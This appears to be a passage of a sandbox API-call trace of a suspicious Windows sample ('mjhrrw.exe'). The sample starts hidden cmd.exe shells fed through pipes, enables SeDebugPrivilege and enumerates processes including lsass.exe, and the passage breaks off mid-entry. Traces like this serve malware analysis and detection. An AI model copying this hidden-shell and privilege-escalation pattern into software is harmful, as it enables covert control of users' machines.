GetProcessHeap () returned 0xaf0000 [0274.133] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4c40 | out: hHeap=0xaf0000) returned 1 [0274.133] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xb00840, nSize=0x13 | out: lpDst="") returned 0x1c [0274.133] GetProcessHeap () returned 0xaf0000 [0274.133] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb009c0 | out: hHeap=0xaf0000) returned 1 [0274.133] GetProcessHeap () returned 0xaf0000 [0274.133] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xb00840, Size=0x4a) returned 0xaf42b0 [0274.133] GetProcessHeap () returned 0xaf0000 [0274.133] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x4a) returned 0xaf3e48 [0274.133] GetProcessHeap () returned 0xaf0000 [0274.133] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf4c40 [0274.133] GetProcessHeap () returned 0xaf0000 [0274.133] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4c40 | out: hHeap=0xaf0000) returned 1 [0274.133] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xaf42b0, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0274.133] GetProcessHeap () returned 0xaf0000 [0274.133] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf3e48 | out: hHeap=0xaf0000) returned 1 [0274.133] GetProcessHeap () returned 0xaf0000 [0274.134] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c030 | out: hHeap=0xaf0000) returned 1 [0274.134] GetProcessHeap () returned 0xaf0000 [0274.135] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x50) returned 0xaf3e48 [0274.135] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0274.135] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0274.136] Wow64DisableWow64FsRedirection (in: OldValue=0x25cfc3c | out: OldValue=0x25cfc3c*=0x0) returned 1 [0274.136] GetProcessHeap () returned 0xaf0000 [0274.136] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf3e48 | out: hHeap=0xaf0000) returned 1 [0274.136] CreatePipe (in: hReadPipe=0x25cfc30, hWritePipe=0x25cfc2c, lpPipeAttributes=0x25cfc4c, nSize=0x0 | out: hReadPipe=0x25cfc30*=0x1e8, hWritePipe=0x25cfc2c*=0x20c) returned 1 [0274.137] CreatePipe (in: hReadPipe=0x25cfc34, hWritePipe=0x25cfc38, lpPipeAttributes=0x25cfc4c, nSize=0x0 | out: hReadPipe=0x25cfc34*=0x210, hWritePipe=0x25cfc38*=0x214) returned 1 [0274.137] SetHandleInformation (hObject=0x20c, dwMask=0x1, dwFlags=0x0) returned 1 [0274.139] SetHandleInformation (hObject=0x210, dwMask=0x1, dwFlags=0x0) returned 1 [0274.139] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x25cfc68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1e8, hStdOutput=0x214, hStdError=0x214), lpProcessInformation=0x25cfc58 | out: lpCommandLine=0x0, lpProcessInformation=0x25cfc58*(hProcess=0x21c, hThread=0x218, dwProcessId=0x530, dwThreadId=0x534)) returned 1 [0274.186] WriteFile (in: hFile=0x20c, lpBuffer=0xafb6c0*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x25cfc48, lpOverlapped=0x0 | out: lpBuffer=0xafb6c0*, lpNumberOfBytesWritten=0x25cfc48*=0xc2, lpOverlapped=0x0) returned 1 [0274.186] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0xffffffff) Thread: id = 92 os_tid = 0x4ec [0274.187] GetProcessHeap () returned 0xaf0000 [0274.187] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c080 [0274.187] GetProcessHeap () returned 0xaf0000 [0274.187] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x14) returned 0xb01238 [0274.187] GetProcessHeap () returned 0xaf0000 [0274.187] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x14) returned 0xb01278 [0274.187] GetProcessHeap () returned 0xaf0000 [0274.187] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xafaf60 [0274.187] GetProcessHeap () returned 0xaf0000 [0274.187] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafaf60 | out: hHeap=0xaf0000) returned 1 [0274.187] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xb01238, nSize=0xa | out: lpDst="") returned 0x1c [0274.187] GetProcessHeap () returned 0xaf0000 [0274.187] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb01278 | out: hHeap=0xaf0000) returned 1 [0274.187] GetProcessHeap () returned 0xaf0000 [0274.187] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xb01238, Size=0x26) returned 0xb006f0 [0274.187] GetProcessHeap () returned 0xaf0000 [0274.187] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x26) returned 0xb00660 [0274.188] GetProcessHeap () returned 0xaf0000 [0274.188] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xafaf60 [0274.188] GetProcessHeap () returned 0xaf0000 [0274.188] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafaf60 | out: hHeap=0xaf0000) returned 1 [0274.188] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xb006f0, nSize=0x13 | out: lpDst="") returned 0x1c [0274.188] GetProcessHeap () returned 0xaf0000 [0274.188] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb00660 | out: hHeap=0xaf0000) returned 1 [0274.188] GetProcessHeap () returned 0xaf0000 [0274.188] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xb006f0, Size=0x4a) returned 0xaf3e48 [0274.188] GetProcessHeap () returned 0xaf0000 [0274.188] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x4a) returned 0xaf4910 [0274.188] GetProcessHeap () returned 0xaf0000 [0274.188] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xafaf60 [0274.188] GetProcessHeap () returned 0xaf0000 [0274.188] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafaf60 | out: hHeap=0xaf0000) returned 1 [0274.188] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xaf3e48, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0274.188] GetProcessHeap () returned 0xaf0000 [0274.188] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4910 | out: hHeap=0xaf0000) returned 1 [0274.188] GetProcessHeap () returned 0xaf0000 [0274.188] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c080 | out: hHeap=0xaf0000) returned 1 [0274.188] GetProcessHeap () returned 0xaf0000 [0274.188] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x50) returned 0xaf4910 [0274.189] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0274.189] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0274.189] Wow64DisableWow64FsRedirection (in: OldValue=0x272fc9c | out: OldValue=0x272fc9c*=0x0) returned 1 [0274.189] GetProcessHeap () returned 0xaf0000 [0274.189] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4910 | out: hHeap=0xaf0000) returned 1 [0274.189] CreatePipe (in: hReadPipe=0x272fc90, hWritePipe=0x272fc8c, lpPipeAttributes=0x272fcac, nSize=0x0 | out: hReadPipe=0x272fc90*=0x224, hWritePipe=0x272fc8c*=0x220) returned 1 [0274.189] CreatePipe (in: hReadPipe=0x272fc94, hWritePipe=0x272fc98, lpPipeAttributes=0x272fcac, nSize=0x0 | out: hReadPipe=0x272fc94*=0x234, hWritePipe=0x272fc98*=0x238) returned 1 [0274.189] SetHandleInformation (hObject=0x220, dwMask=0x1, dwFlags=0x0) returned 1 [0274.190] SetHandleInformation (hObject=0x234, dwMask=0x1, dwFlags=0x0) returned 1 [0274.190] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x272fcc8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x224, hStdOutput=0x238, hStdError=0x238), lpProcessInformation=0x272fcb8 | out: lpCommandLine=0x0, lpProcessInformation=0x272fcb8*(hProcess=0x240, hThread=0x23c, dwProcessId=0xc28, dwThreadId=0x56c)) returned 1 [0274.204] WriteFile (in: hFile=0x220, lpBuffer=0xaf4070*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x272fca8, lpOverlapped=0x0 | out: lpBuffer=0xaf4070*, lpNumberOfBytesWritten=0x272fca8*=0x5b, lpOverlapped=0x0) returned 1 [0274.204] WaitForSingleObject (hHandle=0x240, dwMilliseconds=0xffffffff) Thread: id = 95 os_tid = 0xc54 [0274.602] GetProcessHeap () returned 0xaf0000 [0274.602] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x440) returned 0xb0a280 [0274.602] GetProcessHeap () returned 0xaf0000 [0274.602] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x30) returned 0xb065e8 [0274.602] GetCurrentProcess () returned 0xffffffff [0274.603] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x286f86c | out: TokenHandle=0x286f86c*=0x258) returned 1 [0274.603] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x286f864 | out: lpLuid=0x286f864*(LowPart=0x14, HighPart=0)) returned 1 [0274.609] AdjustTokenPrivileges (in: TokenHandle=0x258, DisableAllPrivileges=0, NewState=0x286f854*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0274.609] CloseHandle (hObject=0x258) returned 1 [0274.609] GetProcessHeap () returned 0xaf0000 [0274.609] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb065e8 | out: hHeap=0xaf0000) returned 1 [0274.609] GetProcessHeap () returned 0xaf0000 [0274.609] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x434) returned 0xb0de30 [0274.609] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x29c [0274.781] Process32FirstW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.781] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0274.782] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0274.782] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.783] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0274.784] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.785] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0274.785] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0274.786] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0274.786] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0274.787] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0274.788] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.788] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.789] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0274.789] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.790] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.791] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.791] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.792] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.792] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.793] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.793] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.794] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.795] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.795] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0274.796] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.796] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0274.797] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0274.797] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0274.798] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0274.799] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0274.799] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.800] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0274.801] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0274.801] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0274.802] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0274.803] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0274.803] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0274.804] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0274.804] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0274.805] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0274.805] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0274.806] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.807] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0274.807] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0274.808] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0274.809] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0274.809] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0274.810] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0274.972] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0274.973] Process32NextW (in: hSnapshot=0x29c, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, 